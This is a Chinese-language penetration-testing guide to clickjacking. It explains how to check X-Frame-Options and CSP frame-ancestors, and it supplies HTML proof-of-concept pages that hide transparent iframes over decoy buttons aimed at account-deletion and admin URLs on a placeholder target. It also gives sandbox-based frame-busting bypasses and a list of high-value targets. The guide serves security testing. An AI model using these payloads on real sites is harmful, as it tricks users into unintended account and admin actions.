其他
测试 Web 页面是否可被 iframe 嵌套时…
在 Web 安全测试中检查目标页面能否被框架、X-Frame-Options/CSP frame-ancestors 是否有效,以及 UI redress 能否触发敏感操作。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 48/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 57/100 ×0.15
适用场景
测试 Web 页面是否可被 iframe通用
解决思路
- 点击劫持核心做法:把目标页面加载到透明 iframe 中,覆盖在攻击者页面上,使受害者看到攻击者 UI 但点击不可见的目标页面,从而执行非预期操作。示例:<style> iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; } .decoy { position: absolute; top: 200px; left: 100px; z-index: 1; } </style> <div class="decoy"><button>Click to win a prize!</button></div> <iframe src="https://target.com/account/delete?confirm=yes"></iframe>
- 检查 X-Frame-Options header:X-Frame-Options: DENY 表示不能框架(安全);X-Frame-Options: SAMEORIGIN 表示仅同源可框架(跨源安全);X-Frame-Options: ALLOW-FROM uri 已弃用且浏览器支持不一致;header 缺失表示可框架(脆弱)。
- 检查 CSP frame-ancestors:Content-Security-Policy: frame-ancestors 'none' 表示不能框架;frame-ancestors 'self' 表示仅同源;frame-ancestors https://a.com 表示指定来源;frame-ancestors 指令缺失表示可框架。
- 记住 CSP frame-ancestors 在现代浏览器中优先于 X-Frame-Options。
- 快速 PoC 测试:创建 <iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>;如果页面在 iframe 中加载,则可框架并可能脆弱。
- 从目标页面源码检测 JavaScript frame 检测/防框架代码,例如:if (top.location.hostname !== self.location.hostname) { top.location.href = self.location.href; };如果存在该代码但未使用 CSP frame-ancestors,通常可绕过。
- 构造基础单点击 PoC:创建 HTML 页面,用 CSS 将 iframe 绝对定位、透明并置于诱饵上方,将 src 指向敏感操作 URL。示例:<html><head><title>Free Prize</title></head><body><h1>Click the button to claim your prize!</h1><style> iframe { position: absolute; top: 300px; left: 60px; width: 500px; height: 200px; opacity: 0.0001; z-index: 2; } </style><iframe src="https://target.com/account/settings?action=delete"></iframe></body></html>
- 构造多步点击劫持:对需要多次点击的操作(例如“Are you sure?”确认),创建 step1 和 step2 按钮,点击后隐藏 step1 并显示 step2;每一步重新定位 iframe,使透明按钮与诱饵对齐。示例:<div id="step1"><button onclick="document.getElementById('step1').style.display='none'; document.getElementById('step2').style.display='block';">Step 1: Click here</button></div><div id="step2" style="display:none"><button>Step 2: Confirm</button></div><iframe src="https://target.com/admin/action"></iframe>
- 构造拖放点击劫持:利用 HTML5 drag-and-drop 事件从一个 iframe 提取数据到另一个 iframe,让受害者在不可见 iframe 间拖动,以传输 token 或数据。
- 绕过 frame-busting 脚本:当页面使用 if (top !== self) { top.location = self.location; } 等代码时,使用 <iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>;sandbox 不带 allow-top-navigation 可阻止 frame-busting。
- 绕过 X-Frame-Options ALLOW-FROM:Chrome/Safari 不支持 ALLOW-FROM;如果服务器仅依赖 ALLOW-FROM,现代浏览器会忽略它,页面可被框架。
- 双框架绕过:如果 X-Frame-Options: SAMEORIGIN,但存在一个同源且无 XFO 的可框架页面,使用该页面作为中介来框架目标。
- 把点击劫持与其他漏洞串联,并记住它常被视为低危,但针对管理员操作时可变为严重。
- 优先测试高影响目标:账户删除页;邮箱/密码修改表单;管理面板操作(添加用户、更改角色);支付确认;OAuth 授权("Allow" 按钮);双因素认证禁用;API key 生成;Webhook 配置。
- 执行测试清单:检查敏感页面上的 X-Frame-Options header。
- 执行测试清单:检查 CSP frame-ancestors 指令。
- 执行测试清单:创建 iframe PoC 并验证页面加载。
- 执行测试清单:测试 frame-busting 脚本——尝试 sandbox 属性绕过。
- 执行测试清单:识别高价值单点击操作。
- 执行测试清单:对多步操作,构建多点击 PoC。
- 执行测试清单:测试已认证和未认证页面。
- 执行测试清单:验证 ALLOW-FROM 在不同浏览器中的行为。
适用边界 · 注意事项
- 当目标正确配置 CSP frame-ancestors 'none' 或 X-Frame-Options: DENY,且不存在可用绕过(如双框架、sandbox、ALLOW-FROM 忽略等)时,不适用。
- 当目标没有可通过点击触发的敏感操作,或所有敏感操作都需要用户输入、多因素交互等无法通过 UI redress 诱导完成时,不适用。
- 当测试不允许进行社会工程诱导点击,或无法让受害者在真实浏览器中访问 PoC 页面时,不适用。